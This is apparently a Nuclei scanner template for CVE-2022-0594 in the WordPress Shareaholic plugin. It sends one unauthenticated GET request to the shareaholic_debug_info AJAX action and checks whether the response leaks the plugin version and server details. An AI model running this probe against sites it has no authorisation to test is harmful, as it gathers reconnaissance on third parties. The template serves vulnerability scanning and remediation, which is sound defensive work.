id: CVE-2022-0594

info:
  name: WordPress Shareaholic <9.7.6 - Information Disclosure
  author: atomiczsec
  severity: medium
  description: WordPress Shareaholic plugin prior to 9.7.6 is susceptible to information disclosure. The plugin does not have proper authorization check in one of the AJAX actions, available to both unauthenticated (before 9.7.5) and authenticated (in 9.7.5) users, allowing them to possibly obtain sensitive information such as active plugins and different versions (PHP, cURL, WP, etc.).
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the target system.
  remediation: |
    Update the Shareaholic plugin to version 9.7.6 or later to fix the information disclosure vulnerability.
  reference:
    - https://wpscan.com/vulnerability/4de9451e-2c8d-4d99-a255-b027466d29b1
    - https://wordpress.org/plugins/shareaholic/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0594
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0594
    - https://github.com/20142995/sectool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-0594
    cwe-id: CWE-863
    epss-score: 0.43978
    epss-percentile: 0.97591
    cpe: cpe:2.3:a:shareaholic:shareaholic:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: shareaholic
    product: shareaholic
    framework: wordpress
  tags: cve,cve2022,wordpress,wp,wp-plugin,exposure,wpscan,shareaholic,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=shareaholic_debug_info"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'plugin_version'
          - 'shareaholic_server_reachable'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 490a00463044022017de009a38de55b44644f8cf4f64602a23de2770fcb4d3da509770ccec0cc0f3022020f9660027e7341c80a8c9c1899564fcc6ffdc3747580cf574a36204d21fe9c2:922c64590222798bb761d5b6d8e72950